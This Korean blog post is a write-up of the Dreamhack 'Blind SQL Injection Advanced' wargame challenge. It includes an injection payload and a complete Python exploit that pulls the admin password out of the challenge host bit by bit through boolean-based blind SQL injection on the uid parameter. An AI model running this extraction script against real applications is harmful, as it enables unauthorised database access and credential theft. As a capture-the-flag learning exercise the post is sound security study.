Blind SQL Injection Advanced

Peroro·2023년 1월 11일
1
post-custom-banner

Blind SQL Injection은 SQL 쿼리 결과 중 참과 거짓을 이용해서 사용하는 공격 기법. 이번 문제는 bit 연산을 통해서 SQL Injection 공격을 시행한다.

Dreamhack에서는 아래와 같은 방식으로 문제를 푼다고 했다.

  1. admin 패스워드 길이 찾기
    먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 합니다.

  2. 각 문자 별 비트열 길이 찾기
    패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서 각 문자를 비트열로 표현했을 때의 길이를 알아내야 합니다.

  3. 각 문자 별 비트열 추출
    패스워드 별 각 문자에 해당하는 비트열을 추출합니다. 이때 아스키코드의 경우 최대 8번, 한글의 경우 최대 24번의 요청으로 추출할 수 있습니다.

  4. 비트열을 문자로 변환
    추출한 비트열을 문자로 변환합니다. 이 때 각 문자의 인코딩이 utf-8이었음을 감안해 변환해야 합니다.

박스에 abcd를 submit을 누르면

아래처럼 uid = 'abcd'가 입력되는 것을 알 수 있다.

그래서 sql injection을 시도 해보았다.
uid에

' or 1 = 1 LIMIT 0,1-- -'

을 입력하면 위와 같이 화면에 아래에 출력됨을 알 수 있다. 거짓이면 아래의 문장이 나오지 않음을 알 수 있다.

  • exploit code
from requests import get

host = 'http://host3.dreamhack.games:10212'

password_length = 0; #패스워드 길이
bts = [] #각 character의 비트길이
password = "" # 비밀번호(flag)

while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
# password 길이 확인

print(f"password length: {password_length}")

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    bts.append(bit_length)

# 각 password character의 비트 수를 확인.

for idx, i in enumerate(bts, start = 1):
    bits = ""
    for j in range(1, i+1):
        query = f"admin' and substr(bin(ord(substr(upw, {idx}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {idx}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')
 
 # idx는 character 번호 i는 character의 비트 수.
 # j는 비트 순서 1~i+1까지
 # 이를 bits 문자열에 넣고
 # password += int.to_bytes(int(bits, 2), (i+7)//8, "big").decode('utf-8')에 넣어 UTF-8 형식으로 바꿈.

print(password)
# password 출력.
  • 아래는 exploit.py을 실행한 결과이다.

profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글